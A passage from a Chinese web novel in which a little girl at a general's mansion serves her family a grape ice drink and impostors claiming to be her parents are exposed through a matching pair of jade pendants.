顾应柏跟顾夫人立刻抬头,往门口的方向看了过去,只见小团子,穿着一身红白相间的连襟裙厚厚的刘海盖在额头上,一双黑眼珠睁的锃圆,头上用红绳扎着两个圆包,上面还扎了大红的花,别了几个同颜色金灿灿的簪子。
她手带着一串琉璃珠子,还有两个大金镯子,脖子上还挂着一串红玛瑙石。
两人分别笑了笑,不错小丫头今天穿着看着很喜庆。
日后还是要多给乖宝置办些穿的戴的。
她迈着小短腿,跟一阵风一样,扑了过来。
顾夫人嘴角扬起了笑意,“乖宝,快来看看,你大伯今天特意一早,让人从外面云天楼订了一大桌子的菜。”
乖宝绕到了顾夫人跟顾应柏中间的位子,丫鬟把她抱起来放在了凳子上。
大圆桌上,乖宝跟前放着一大碗滋滋冒油的烤鸭,外皮金黄酥脆,一看就很好吃,还有一碟红烧鲤鱼,还有一只黄澄澄的叫花鸡,还有一些菜乖宝不认识,但是看起来都很好吃的样子。
“哇!好多好吃的。”
“你跟前这几道菜,都是云天楼的招牌,先尝尝你觉得好不好吃,日后大伯亲自带你去现场吃。”顾应柏给乖宝夹了一只鸭腿。
“谢谢大伯!”乖宝抬了抬手,衣袖被她推到手腕上,小手捏着鸭腿啃。
她小嘴咬着鸡腿上的肉,抬眸见大家都看着自己。
“大伯,祖母也吃。”乖宝见状立刻伸出手去夹了一块鸭肉,伸长了自己的小短手,吃力去够顾夫人的碗。
顾夫人摆手阻拦:“乖宝,祖母不能吃。”
乖宝又看了一眼顾应柏。
顾应柏抿唇,开口道:“大伯也不行你吃就好了,看到乖宝吃,就跟我们吃过了一样。”
“那好吧,那乖宝吃。”乖宝觉得很可惜,这么好吃的菜,大伯跟祖母竟然吃不到。
另一侧的顾应决正捧着一碗药喝,眉头微微紧锁,眼神盯着药汁。
小崽子什么意思?
问了一圈单单无视他。
乖宝偷偷看了一眼顾应决,那爹爹都不用问了。
爹爹身体更差。
肯定什么也吃不了。
第十七章 被忽略的爹
乖宝小脸都要贴到碗里了,手肘撑着桌面,油腻腻的小手握着鸭腿,咬一口鸭腿,另一只手又不忘扒口饭。
小嘴被塞的鼓大,两腮缓慢的搅动,小脸上还沾着饭粒,活像一只浮出水面的小鲶鱼精,
桌案上各种菜香扑鼻,持续不断刺激着味蕾。
再加上边上还有个小崽子,吃的认真,那饭菜仿佛是什么山珍海味稀世珍品。
但除了乖宝,其他人只能捡着粥喝。
边上的顾应柏忍不住做了几个吞咽的动作。
不知道什么时候,他也能同乖宝一样畅快的吃东西。
“乖宝,再尝一下这个芋头。”顾应柏把自己想尝的东西,夹到乖宝碗里。
乖宝小嘴咬了一口,软糯香甜的芋头,咀嚼了几下。
“好吃!”
“香香的软软的,还糯糯的。”乖宝仰头满足地开口道。
“嗯,乖宝喜欢,那就多吃点,这一桌都是你的。”顾应柏让人买了一大桌,就是为了给乖宝压惊。
补偿她昨日时间,顾国公夫人找上门的情。
“乖宝,你记住了,以后不论是谁欺负你,都要像上次一样。”
“不欺负别人,但也不能让别人欺负,咱们绝对不做那种缩头乌龟。”
“如果打不过就跑,打的过就揍他。”
“嗯嗯,爹爹已经跟乖宝说过了。”
顾应柏让她这么一说,心里多出了几分好奇,前段时间决儿还那么排斥乖宝,现在都开始亲自教导乖宝了?
“你爹是怎么说的?”顾应柏侧头看了一眼顾应决,开口询问道。
乖宝嘴里还咀嚼着大米饭和肉,快速嚼了几下,又重重吞咽下,才开口道:“嗯……爹说狠狠揍!”
“揍怕他,这样他就不敢找人了。”乖宝咬着牙,拢着拳头奶凶地开口。
顾应柏听她这么说,下意识捂着嘴猛咳了几声,“你爹真这么说?”
“嗯嗯。”乖宝认真地点了点小脑袋。
顾应柏瞥了顾应决一眼,顾应决脸色依旧如常,手里捧着茶杯,慢悠悠喝茶漱口。
边上的顾夫人,也蹙了蹙眉,“别听你爹胡说。”
“是啊,哪有这样的道理,那不就是莽夫吗?”顾应柏抿唇。
他们乖宝这么娇软可爱,怎么能做那种粗俗的事情。
家中全都是男孩,就乖宝一个女娃娃,怎么也得好好教出个大家闺秀来。
哪能像将军府其他人一样武刀弄枪。
看来以后乖宝的教育,还是不能放心交给应决。
“哦对了,乖宝也给大伯,祖母带了好喝的。”
乖宝放下手中的碗筷,朝着门口的位置看去。
“嬷嬷快进来吧,把乖宝的饮料拿过来,给大伯还有祖母一起尝尝呀。”乖宝抓了边上的手帕,擦了擦小嘴,大声开口道。
没一会儿的功夫,嬷嬷提着一个食盒走了进来。
众人好奇地望着嬷嬷手中的提篮,只见嬷嬷将提篮盖子打开,里面成那藏着个罐子,罐子上面盖着盖子。
乖宝站在凳子上面,伸手将盖子打开,轻轻搅动着罐子里面放着的大汤勺。
随着汤勺的晃动,罐子里面的水和冰块也一起着晃了晃,发出清脆的声音。
“嬷嬷,快拿杯子来。”
顾夫人坐在侧边,替乖宝翻折有些长的衣袖,露出她白嫩嫩的小手臂,小肉手搅动着冰与水。
嬷嬷在她的指挥下,从托盘里面拿出了一个杯子。
乖宝在罐子里挖了一大勺,将混合着冰块的果汁,倒进了杯子里。
而后又分别装了好几杯。
“祖母,大伯快尝一下吧。”
顾应柏端起了杯子,盯了一眼,里面不仅有冰块和水,还有青绿色的东西,“这是什么水呀?”
“这个叫葡萄冰水!”乖宝抬头挺胸,站在凳子上面,开口道。
“很好喝的,大伯快喝。”
顾应柏这么多年来,就没有喝过这种加冰块的水。
他常年咳嗽,每到冬天喉咙就发干发痒,胸口闷热,想喝冰饮却因为身体原因忍着。
今日就暂时放纵一下。
身边的小厮见状又要说些什么,他赶紧摆了摆手示意小厮退下。
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另外一边的顾夫人,淡定地盯了一眼手里的杯子,抿了抿唇,喝了一口。
她那双暗如深潭的眸子,掀动一丝涟漪,“不错。”
平日里她喝茶,因为身体原因也极少喝冰冷的东西。
心中深知乖宝做的东西,那自是极好的东西。
顾应柏听到顾夫人都这么说了,心中更是愈发好奇。
手端着杯子,杯壁上结了一层水,沿着杯壁往下滑,弄湿了他的手心。
透过肌肤,感受到那冰凉清爽的感觉。
他往后抬杯,喝了一大口。
冰冰凉凉,带着葡萄清新自然的果香,滑嫩嫩的果肉,让人喝了一口还想喝第二口。
没一下,他把那杯葡萄冰给喝光了。
“其实还可以往里面放点茶叶,这样也很好喝。”乖宝看他们都喜欢,咧嘴笑着道。
顾应柏回味着嘴里的冰凉,思索道:“乖宝,这个东西可以放铺子里卖吗?”
“如今正值春夏交际之际,日头大又晒人,外头忙碌的人,正好可以用这个来解暑,比凉茶味道还好。”
“好呀,它这个做法很简单。”乖宝挠挠头回应道。
就跟她之前的那个时代一样,这个东西可以当奶茶卖出去。
“咳……”边上被众人忽略的顾应决,突然咳了一声。
他阴沉着一张脸,身前什么也没有,就连喝茶的杯子都被小厮拿走了。
“公子,这个您不能喝,太凉了,您现在得喝温的。”边上的小厮,一下就看出了顾应决的想法,开口道。
“谁说我想喝的?”顾应决被点破心思,反驳道。
就这么一个小玩意,有什么好喝的。
“嬷嬷,乖宝需要热水哦。”乖宝软乎乎白嫩嫩的小手插在腰上,跟身边侯着的嬷嬷开口道。
“知道了,小姐。”嬷嬷往外走,没一会儿端着一大盆热水进来。
乖宝舀了一杯没带冰的果汁,放在了热水盆里。
“好啦。”她又把手放进水盆内,从里面拿出杯子,端到顾应决面前。
“爹,乖宝也有给爹爹做哦。”
第十八章 两个坏蛋
“嘿嘿!爹爹现在最好,还是不要喝冰了。”乖宝缩着脖子,望着顾应决憨憨笑了笑。
“决儿,你看乖宝多好,还特意给你弄热。”顾应柏话语里带着酸涩,扬着声道。
“你要是真不想喝,大哥可以帮你喝了。”
顾应决没说话,盯了一眼杯子里跟果肉混合的水,伸手端了杯子,喝了一口,眉头微挑又全部喝尽。
“还行。”
他察觉身边的小崽子正盯着自己,轻咳了一声,耳根微微有些泛红。
这是看在小崽子辛苦忙活的份上才尝的。
“之前一到冬天喉咙又痒又难受,咳的比以往更厉害,随便喝点凉水都咳,乖宝给的这个果汁,喝了就一点感觉都没有。”顾应柏喉咙咳多了会痛,而乖宝的这个果汁入喉后,不仅不会痛,反而很舒服,就像喉咙被彻底滋润了一般。
顾夫人抿了抿唇,喝了感觉腿上的刺疼感少不少。
顾应决昨天喝了一天药,本就觉得身上的疼痛减少,晚上都睡的好了。
现在喝完没有太大的感觉,只是有一股说不出来的顺畅,好像闷堵在心里的郁气没了。
“嘿嘿,是吧!那大伯就多喝一点好啦,喝完了乖宝再给大伯做。”乖宝开心地笑了笑,小肩骄傲地抖了抖。
“这可是乖宝独一份的果汁。”
她话音刚落。
外头的廊道上传来一道急促的脚步声。
“夫人,公子,不好了!”丫鬟匆匆忙忙闯进,开口道。
“外面有两个人,非说将军府拐了他们的孩子。”
顾夫人放下了手中的杯子,“怎么回事?”
“奴婢听府里看门的人说,前日就看这两人鬼鬼祟祟,一直在将军府的门外徘徊,还说想要进去找孩子。”
“现在外面的百姓,都跟着一起嚷嚷,吵着说将军府仗势欺人。”丫鬟红着脸,急切的开口道。
“他们还说要是咱们不愿意把人交出来,就一直赖着不走了。”
顾夫人看了一眼身边的乖宝,余光跟顾应柏对视一眼。
两人眼中带着一丝微妙的默契。
如今的将军府行事低调,还有人找上人只怕是没那么简单。
“儿子出去看看。”顾应柏起身,带着下人往外走。
府里众人都不敢说话,原本喜悦的气氛,瞬间变得安静,桌上的饭菜也就乖宝那动了一些。
乖宝盯着顾应柏的身影,心里莫名升起一丝不安,从凳子上滑下来,拉住了顾夫人的手。
“祖母。”
“没事。”顾夫人捏了捏她的小手,又吩咐丫鬟拿来热的面帕,给她擦还沾了些污渍的脸和手。
“乖宝继续吃饭。”
乖宝又被抱回原来的位置,一边吃,一边看向门外,希望大伯早点回来。
将军府门口,正围着一大群人,熙熙攘攘,全都盯着大门口站着的一男一女。
女人约莫二十多岁头发用粗布条盘扎着,身上穿着的粗布衣好几处是用不同布料拼凑而成。
她红着眼睛,一边哭一边用衣袖擦眼泪,跟身侧的男人,迈着步子要硬闯将军府。
“你们不知道这儿是哪吗?怎么可能随便让你们进。”下人不耐烦,忙把他们推出去。
妇人被下人推开,一个踉跄摔倒在地,余光扫了一眼边上众人,手揉着眼睛哭嚎。
“大家快来看啊,将军府抢人孩子还欺负人了!”
“还有没有天理啊,谁来为我们讨个公道啊,还让不让人活了。”
边上的男人,趁机扬声道:“丧良心的将军府,还什么国之栋梁,竟干出这样的事来。”
他站在府邸门口,气得红了眼睛,用力跺脚捶胸,仿佛在恨自己作为家中顶梁柱的无能。
“丫头啊,是爹对不起你,爹没用!”
旁边看热闹的百姓们跟着愤愤不平,其中有人开口:“他们只是想进去找孩子,也不用这般欺负人吧!”
“就是啊,你们府上要真有人家孩子,就赶快还给人家,看他们夫妻二人也不容易,都急成什么样了。”
下人烦闷地开口:“谁欺负他们了?谁抢他们孩子了,这两人分明是诬赖。”
“吱呀!”将军府的大门从里面被推开。
“吵什么!”
顾应柏身边的小厮,大声呵斥。
“公子,求您把我女儿还给我们吧!”妇人见到顾应柏身上的穿着,猜测是府上的主子,往前走了几步,跪在了顾应柏面前。
男人也紧随其后,“是呀,公子,那可是我妻子十月怀胎,好不容易生下的孩子。”
“你们胡说什么,我府上什么时候抢了你们的女儿。”顾应柏胸口冒着一股无名明的怒火,直觉告诉他这两人很可能是冲着小丫头来的。
外头看不得他们将军府好的人多了去了,谁知道是哪个派过来膈应他
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们的人。
“将军府前些日子不是突然认了个小丫头吗?”男人又扬声道。
“说不定是将军府,见我家姑娘长得好,就不愿还给。”
“将军府也不能这样呀,总不能让我们跟孩子分离吧!”
顾应柏目光如炬,锁定在男人脸上,眼神仿佛要**,怒意往心尖上涌。
他猜的过偶然没错,这些人真是好歹毒的心思。
竟然都把手伸到乖宝身上了。
男人长得尖嘴猴腮,对上顾应决的紧迫的目光,有些畏惧地垂下了头。
顾应柏呵斥道:“到底是谁派你们来的?”
“公子说什么呢,我们不过是想找回自己的孩子罢了。”男人闻言脸色一僵,嘴硬道。
他不过说了几句话,竟然这么快就被顾应柏给看出来了。
“来人把他们抓起来!”顾应柏下令道。
乖宝是他们将军府所有人捧着的孩子,谁都不许对她有任何质疑和伤害。
男人跟妇人被下人按住了双手。
男人挣扎着开口道:“你们将军府未免欺人太甚,难不成真的想仗势欺人!”
这话一出,边上的百姓们面面相觑,压着声道:
“将军府这也太过分了,还真打算威逼他们放弃女儿不成?”
“就是,老将军在世时爱戴百姓,怎么到现在成这样了。”
……
顾应柏没理会他们,只要事情解决真相自会大白。
他目光扫了一眼地上的二人,示意身边的下人,“你们不说是吧,去把官服请来,就说有人来将军府**。”
“我爹虽已去,但将军府也不是什么随便的人能惹的!”
二人跪在地上缩着脖子哆嗦。
妇人看了一眼身侧的男人,急的脸通红,捏紧了手心。
这可怎么办,要是真报官查出些什么,她们可就完了。
她扯了扯男人,跟他对视了一眼,眼中透着求饶的神情,仿佛在说:“要不算了吧,我们招了吧?”
就在此时。
人群被拨开,一个身穿黑袍的男人,迈着虎虎生威的步伐走了过来。
男子身高八尺,腰间挂着把剑,余光瞥了一眼顾应柏,鄙夷道:
“哟,这不是将军府的病秧子吗?怎么着拐了人家的女儿不还,还打算以权压人。”
“陆将军,求陆将军替我们主持公道啊。”地上那男人认出了陆荆淮。
第十九章 你们不许欺负我大伯
陆荆淮压根没看他一眼。
他盯着顾应柏,压着声道:“不如你把那丫头还给这两人,我可以当没来过。”
“若是不放,那就别怪我不顾昔日老将军的恩情了。”
顾应柏捂着嘴轻咳了一声,“你弄错了,那孩子真是我三弟的,跟这二人无关。”
“是不是弄错,总得让她出来确认一下。”陆荆淮心中暗笑,这样的废物将军府能撑几时?
他无比庆幸自己有先见之明,早早脱离将军府,转投他人。
顾应柏脸色难堪,心中愤懑却又无力,这一动气呼吸有些不稳,捂着嘴又是一阵猛咳。
本是不想让乖宝接触到这些腌臜事,到头来是得让乖宝出面。
他尽力压着喉间的痒意,侧头示意了一眼身边的人,下人进了将军府。
“顾大公子,你可真没用,将军府的人你是一个都护不住!”陆荆淮话语中带着一丝嘲讽。
“这个小丫头是的,当初的顾寒舟也是,到现在那个疯子还在里面关着吧。”
顾应柏又猛咳了一声,喉间发紧,胸腔剧烈颤动,眼角呛的发红。
他手紧攥成拳,咬着牙道:“陆荆淮!你要是敢动她,我就算死也不会让你好过。”
“你们不许欺负我大伯!”
一道稚嫩又有力的声音从府里传了出来,随即又冲出来个红色的小身影。
乖宝冲到顾应柏面前,抓起她急着跑出来时从洒扫下人那,夺来的扫帚,吃力地朝着陆荆淮敲。
陆荆淮反应迅速抓住了她手里的扫帚,嘴角勾出戏谑的笑。
“小丫头,就你这小身板,还想护着谁?”
“坏蛋!”乖宝仰着头,鼓起腮帮子,气呼呼地怒骂道。
陆荆淮拽走了她手里的扫帚,垂眸目光死死盯着乖宝那张小脸,伸手捏住了乖宝的下巴。
这小丫头长得还挺可爱,就是有点眼熟,像谁呢?
“别碰她。”顾应柏把乖宝拉到了自己身后,拍开了陆荆淮的手。
就在两人眼神交锋时。
跪在地上的妇人跟男人见状立刻对视一眼,眼神交汇,像是在密谋些什么。
“三丫啊!”
“你这孩子,跑将军府来了,叫娘好找!”妇人冲过去就要抓乖宝。
乖宝闻言抬眸,这才看清楚那妇人的样子,下意识地抓紧了顾应柏的衣摆,紧张的深呼吸,皱起了小眉头。
她把小脸都埋进顾应柏衣裳里,说话的声音都有些颤抖:“大伯。”
顾应柏心疼坏了,侧身搂着她的小脑袋,将她抱在怀里:“乖,别怕,他们伤害不了你。”
“三丫,你这死丫头,在将军府过了几天好日子,就认不得爹娘是谁了?”男人红着脸,瞠目结舌的要冲过来拽人。
“坏蛋,他们是坏人!大伯,乖宝根本不认识他们。”
乖宝搂着顾应柏的腿,小脑袋仿佛要粘在衣服里,而后又侧头,露出一双麋鹿一样受惊的眼神,看着跟前的一男一女,小肩膀颤抖了几下。
一双黑亮的大眼睛已经红了,还泛着泪花,跟前的两个人对她来说仿佛是厉鬼一样可怕的存在。
“三丫,我们是你爹娘啊,你怎么能连我们都不认,是不是将军府许了你什么,所以你才不想跟娘回家?”妇人盯着一直躲在顾应柏身后的乖宝,眼眸里闪过一丝狠戾。
死丫头,让他们找了这么久。
这回总算出来了!
边上的百姓有陆荆淮撑腰,没了畏惧愤愤不平道:“这孩子不会是为了将军府里的荣华富贵,连亲生父母都不打算要了吧。”
“指定是将军府跟她说了什么,不然三岁的小孩,也就只会吃喝的份,哪会知道这么多。”
“三丫,我是你娘亲啊,快跟娘回家,虽说咱们家并不富裕,但娘也从来没亏待过你。”妇人上前就要拉乖宝,府里的下人拦住了他们。
“你们到底要怎样,才能让我们带走自己的女儿?”妇人仿佛受了天大的委屈,嘶吼道。
边上的百姓们看她伤心的样子,都忍不住的动容,纷纷指责将军府。
陆荆淮扫了她一眼,看向顾应柏:“到现
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在了,你还不把孩子还给这妇人。”
“你这小孩,为了待在府里,连亲生父母都不要了。”他瞥了一眼乖宝,眼里只剩厌恶。
这孩子哪是机灵可爱,分明是心机叵测。
将军府竟然还拿她当宝一样宠着,真是可笑!
“不是的,乖宝真的不认识他们,他们是坏蛋。”
“他们……想抓乖宝,才害乖宝爬狗洞进府里的。”乖宝瞪圆了眼睛,气的落下两行泪,哽咽道。
她哭得两腮发红,太伤心了,眼泪不断往下流,说话还忍不住停顿一下打嗝。
乖宝不明白,为什么大家都要大伯把她交给坏蛋。
之前她可是好不容易,才从坏蛋那跑掉的。
再被坏蛋抓走,乖宝以后就再也见不到爹跟祖母了。
“大伯,大伯,乖宝不要被坏蛋抓走……呜呜呜……”
她更不明白,大家为什么不相信自己的话,还全都在指责自己。
明明她什么也没做错,那两个大坏蛋才是坏人。
顾应柏心头快碎了,俯下身搂住乖宝,轻轻顺着她的背,让她缓缓呼吸:
“不会的,大伯在不会让你被带走。”
乖宝搂住了他的脖子,小脑袋靠他肩膀上,抽着泣。
他抱着孩子,看向那夫妻:“你们既然说你们是她的父母,可有证据?”
“没有证据,谁知道你们是不是想偷孩子的人贩子。”
两人脸色微沉,互相对视了一眼。
男人抬眸看了一眼,靠在顾应柏身后的乖宝,“他身上有一枚玉佩,正是我们家族家传的宝物。”
“若你们不信,方可叫她拿出来,一看便知。”
“玉佩是鱼形,通体清透。”
之前就看到,这死丫头身上带着这么个东西。
那东西一看就值钱。
差点就抓着她了,结果让这死丫头躲进了将军府。
乖宝摇摇头,“你骗人,玉佩是乖宝的东西,才不是这个坏蛋的!”
她探出小脑袋,眉头拧成八形,小脸气的发红,小嘴撅着。
第二十章 小家伙的手又软又嫩,搁在他手心仿佛没有重
陆荆淮勾唇:“真有玉佩?小丫头,那你就拿出来给大家看看,看是不是跟他们说的一样。”
顾应柏懒得理他,这人存心过来给他找不痛快的。
他眸光中闪过如寒霜般的冷光,看向地下跪着的二人:“你们又怎么证明,她身上的玉佩是你祖上传下来的,而不是她本来就有?”
“说不定是你们见过孩子身上的玉,想取走谋财,结果孩子逃了,这才跑将军府找。”
他通过乖宝说出来的话,拼凑出了一个事情经过。
乖宝用力点了点头,缩着脖子,小手伸进了衣袖里面的小兜里,捏了捏玉佩。
这两个坏蛋,就是想要乖宝的东西!
男人垂眸看了一眼身边的女人,两人都心虚地低下头。
“玉佩本来就是我们家传玉,将军府权大欺人要非说我们是骗子,我们又能如何?”妇人抹了抹眼泪,一脸无奈,仿佛自己要被逼着把女儿让出去了。
将军府大门侧边的廊道上,下人正推着坐轮椅的男人,门口的位置驶来。
顾应决听到他们的对话,嘴角轻勾,“你们确定玉佩是你家的?”
他的声音如寒冬腊月,又冷又沉带着极强压迫。
众人闻言,朝着门口的方向看了过去,只见顾应决被人推了出来。
“将军真的没有死!”
“太好了,我们秦国战神没死,真是上天庇佑!”
顾应决抬眸扫了一眼,那群振奋的百姓们。
陆荆淮抬眸紧紧盯着顾应决,手紧紧拢成拳头。
原来他真的没死,还以为最近那些传闻是假的。
“就是我家的东西。”妇人根本不敢对上顾应决那双眼睛,光是跪在这儿,她就能感觉到那股透骨的寒意,浑身忍不住发抖。
“那你知不知道这玉佩他一共有两枚,你可知另外一枚是什么样子的?”顾应决开口又问。
身边的男人神色变了变,觉得顾应决就是在诈他们。
“哪里来的两枚,将军可别说笑了,这玉佩是我们家独一无二的东西,怎会有第二枚?”
他明明只见那丫头身上就踹了一块,根本不可能有第二枚。
顾应决抬眸看向乖宝,冲她招手,“过来。”
乖宝怯生生地扫了一眼地上的两个坏蛋,又看了顾应决一眼。
她这才小心翼翼从大伯怀里出来,迈着小短腿快步冲到顾应决面前。
小腿跑的极快,一摇一摆跟个小鸭子似的,生怕后面的两人跟上自己,然后抓住自己。
“爹爹!”
“玉佩给我。”顾应决冲她伸出手,那张大掌上,好几个凹凸不平的茧子。
乖宝嘴抿成一条直线,犹豫了一下。
她才从衣袖里拿出了玉佩,小手握着玉佩一起放在了顾应决的掌心。
小家伙的手又软又嫩,搁在他手心仿佛没有重量。
只要他微微握拢,就能将她整个小手握在掌心内。
顾应决盯着她满脸的泪痕,似有一片鹅毛轻轻拂过他的心脏,不自觉抬起另一只手替她撇去眼角的泪。
“爹爹,不可以给别人。”她不放心地踮起脚尖,小手撑着轮椅侧边柄的位置,凑顾应决的耳边,轻声道。
那双如翡翠般精粹的眼睛,偷偷打量了一眼不远处那两个坏蛋。
妇人盯着顾应决手里那玉佩,双眼跟火星一样亮,恨不得现在就扑过来夺走。
她用手肘推了一下身边的男人,男人早就看到了。
“将军,就是这枚玉佩,乃小人的家传之物。”
她贪婪的目光都快贴到那玉佩上了。
“你当真确定是你们的?”顾应决指腹一收,将那玉佩握在手心里。
“是呀,就是小人的。”妇人咽了咽口水,忙不迭的点头。
顾应决从腰间拿出了另外一枚黑色的玉佩,将两枚玉佩合在了一起,呈现在众人面前。
边上的百姓们,这下全看明白了,“我就说嘛,这玉佩看着成色不错,怎么可能是这两人的!”
“刚才这妇人伤心那样,差点就让她给骗了!还以为真是她孩子。”
“合着就是这两人,贪图人家将军府小姐的东西,非说小姐是他们的孩子。”
“真不要脸,人家是父女,要没有信物,将军府怎么可能随便认亲!”
“这两人不会真的是人贩子吧?我这辈子最恨的就是人贩子了。”
妇人神色大变:“这……”
男人僵着脸扯了一下妇人的衣袖,嘴角挤出了一抹笑,硬着头皮道:“不知将军,这枚黑色的玉佩从哪来的?”
“你不废话吗,这玉佩当然是将军自己的,小姐的玉佩跟将军的明显是一对,你两眼瞎了吗?”
“怎么?难不成你们还
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想说将军偷了你家玉佩,还是跟你家祖上是亲戚?”边上的小厮冷笑,大声呵斥道。
这两人胆子也太大了,什么话都敢乱说。
真以为他们小姐是乱认的?
“来人,把他们都给本将军抓了?”
“本将军倒要看看,什么人敢这么大胆,行骗都骗到我府上来了。”顾应决一声令下。
那两人这会儿彻底没招了,吓得脸发青,纷纷跪下求饶:
“将军饶命啊!草民根本就不知道她是小姐。”
“还以为是没了爹娘,四处流浪的小乞丐。”
“这才一时起了歹心,谁知道这小丫头真的是少将军的孩子。”
那国公夫人还跟他们说,这是将军府随便认的养女呢。
不然他们哪敢就这么过来了。
陆荆淮抬眸看了顾应决一眼,目光又落在乖宝身上,有些意外。
没想到,这孩子真是顾应决的种。
不过他倒是没忘记,今日自己过来的目地。
陆荆淮盯着顾应决的腿,若有所思,眼中闪过一丝玩味,迈步朝着顾应决的位置跑去,靠近顾应决时瞬间出拳。
扑过来的瞬间,顾应决有所察觉,下意识抬手,掌心蓄力,重重打在了陆荆淮的胸口上。
陆荆淮即便是用了内力,还是被这一掌震的往后,连退了一米才稳住身形。
蓦然他感觉胸口一阵刺痛,一股热流涌了上来。
“噗!”陆荆淮捂住胸口,嘴里喷出一大口鲜血,盯着被鲜血染红的地面,合着衣袖擦了擦嘴角。
将军府内,门口的下人反应过来,立刻上前擒住他的双手。
他双手用了暗劲,甩开了两名下人的束缚,
“顾少将军还真是英勇,就算是受了重伤,依旧能一掌伤人。”
顾应决面上淡然,看都没看他一眼,“若我未伤,你已经不在这了。”
陆荆淮气血上涌,心知顾应决说的不是假话,按顾应决以往的功夫,只怕他早就飞出十米外。
“话虽如此,就是不知将军,这腿什么时候能不能好?”
“有机会,下官斗胆跟将军切磋切磋。”陆荆淮嘴角勾出一抹阴冷的笑。
以他对顾应决的了解,除非是受了重伤,否则骄傲的顾少将军怎么可能会坐轮椅。
顾应决说不定已经是个废人了,只是在硬撑罢了。
第二十一章 一个病秧子,一个废人
“陆荆淮你个没良心的东西,亏当初老将军对你那么好!”
“现在不仅对将军出手,还出言不逊!”边上的小厮呵斥道。
小厮打小跟在顾应决身边,多少知道将军府里事的。
“将军误会了,下官只是发现将军衣领褶皱,想替将军抚平,方才多有冒犯还望将军饶恕。”陆荆淮盯着顾应决衣领边上的位置,勾唇道。
“你胡说,方才分明就是想出手。”小厮愤怒道。
顾应决摆手示意小厮住嘴,抿唇道:“陆荆淮,我爹当年在边塞救下你,又带你回京城,对你如同亲子,而你却在将军府低谷时,背弃将军府而去。”
“你这样的人,会有人信吗?”
陆荆淮顿住了步子,指腹拢成拳,手背上的青筋暴起,“这就不需要将军操心了,将军还是管好自己吧。”
他根本没错,人怎能不为自己?
老将军**,他替顾应决做了这么多事还不够吗,顾应决后来**,他怎么就不能离开将军府了。
顾应决又活了,那又怎样,他还不是个废物!
跟在他身边根本没有前途。
顾应柏拦住了他的去路:“等等!”
“你方才不顾乖宝解释,非说乖宝是那二人的孩子,我家乖宝都哭声那样了,要不是你个畜生突然出现,本公子早就处置了那两人。”
顾应柏上前,拽住了陆荆淮的衣领,“我家孩子受了惊,这笔账你该怎么算!”
他拧起了拳头,砸在陆荆淮的脸上,他是个病秧子没错,但好歹也是将军府的孩子。
顾应柏的拳头,没什么力,也造不成什么伤害,却每一下都打在痛点。
陆荆淮嘴角溢出一抹血丝,手逐渐蓄力,抬眸对上顾应决那双冰冷如寒刃的眼睛,又松开了手。
他想起了方才,试探顾应决的那一掌。
只要顾应决还没死,将军府就算不复从前,也不是他能对付的。
“顾大公子何必为难我,我也不过是被那妇人蒙蔽,不若我给小姐道歉就是。”陆荆淮咬了咬后槽牙。
在将军府里时,他不被看好,下人们也从未把他当主子看过。
顾家兄弟也从未真心对他。
现在他终于离开将军府,他们依旧如此轻看他……
“谁稀罕你的道歉?”顾应柏撒完气,推开他。
“跑出去给别人当狗,一回来就气人,别让我再看到你。”
“哼!大伯说的对,你走。”乖宝看到大伯骂人,觉得是这个人惹大伯生气了,也跟着道。
被顾应柏这么一个病秧子打,被他辱骂,对陆荆淮来说简直奇耻大辱,脸瞬间红成了猪肝色。
指腹拢得发出清脆的声音,仿佛有什么东西被捏碎了。
死病秧子不就是有个好出生吗?
将军府一个废人。
他算什么东西!
陆荆淮望着顾应柏眼中闪过一丝杀气。
他倒看看顾应决成了废人,到底还能不能继续护着将军府!
陆荆淮走后。
乖宝一双眼睛瞪得跟铜铃一样,小嘴也微微张开,目光灼灼盯着顾应决。
“爹…爹,刚才也太厉害了耶!”
“刚才爹爹,一抬手就把那个人给拍开了。”
她紧紧盯着顾应决,仿佛在看什么神仙一样,满眼都是崇拜。
顾应决侧头看了一眼乖宝,对上那双如清空般清朗的眼睛,方才跟陆荆淮说话后,心中蓄积的阴云又再次消散。
“小没良心的,那大伯呢?亏我刚才还替你揍他。”顾应柏揉了揉她的小脑袋瓜,酸涩道。
“嘿嘿,大伯刚才**好帅!好厉害!”
乖宝猛地点头,咧嘴笑着道。
小家伙清脆的声音,仿佛能治一切伤,顾应柏感觉自己刚才被陆荆淮气到的阴霾没了。
陆荆淮那个糟心的家伙,想着就来气。
“还是我们乖宝最好。”顾应柏捏了捏乖宝的小脸,又揉了一把过了下手瘾,才放开乖宝。
四周的百姓见没戏看了,全都纷纷散开了。
“呃……”顾应决脸色有些发白,做了个吞咽的动作,手紧紧握着轮椅柄,指节泛起了白。
五脏六腑,仿佛被人迈着一根棍子搅动,那刺疼每一下,都叫他坐立难安,头皮发麻。
脑袋胀痛不已,仿佛有一根针,狠狠扎他头皮里。
他咬了咬牙,张开了手,将玉佩递给乖宝。
乖宝从他手里,拿起了玉佩塞进了衣袖中。
“爹?”
乖宝睁着一双洁净如清泉般透亮的眼睛,盯着顾应决。
她怎么感觉爹好像不太舒服的样子。
乖宝突然顿住,爹不会又像上次一样,突然吐血吧!
“爹爹,乖宝去给你倒水喝。”
她赶紧转过身,小小的身板,吃力的跑过台阶,进了将军府大门,直奔正堂。
“应决,你没事吧?”边上的顾应柏察觉到他脸色
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不大好,心头一紧。
顾应决摆了摆手,让下人推着自己往里面走。
他抬起自己的手看了一眼,明明早就已经内力耗尽,而且他伤的这么重,按理说根本就使不出来的。
但方才那一下,他莫名就使了出来。
难道是近日服药,身体好了不少?
“呃呃呃……”顾应决胸口一阵刺疼,气血逆行,一股气流上涌,抵达喉间弥漫着一股腥甜味。
这反噬也不过,让他这句残疾的身体,再次打回原样罢了。
他勾唇冷笑,眼中闪过一丝无奈,横竖都是废物。
“爹,水来啦。”乖宝看着顾应决跟昨天一样惨白的脸,小嘴抿成一条直线。
爹好像又难受了。
顾应决盯着她捧过来的杯子,伸手接了过去。
他抿了一口,葡萄味盖过了那不好闻的腥味,又一口将那杯水给喝尽。
那冰冰凉凉的口感冲淡了,他喉咙跟胃里的灼热感。
竟连胸口那闷堵的也消散了些。
甚至逐渐浇灭了体内翻涌的血和乱窜的气。
顾应决抬眸盯着乖宝,她傻傻冲着顾应决咧嘴笑,日头落在她脸上,小崽子“嘿嘿”发出声音,对上他的目光,眼睛往下挪,小手揉了一下鼻子。
乖宝突然被他这么盯着,有些站立难安,眼神瞥了一眼,他手里的空杯子。
“爹爹,你还要吗?”
她开口问道。
顾应柏看弟弟这样,应该也不算特别严重,悬着得心逐渐放下,捂嘴轻咳了一声。
“大伯,你也喝吗?”乖宝抬头望着站在顾应决身边的顾应柏。
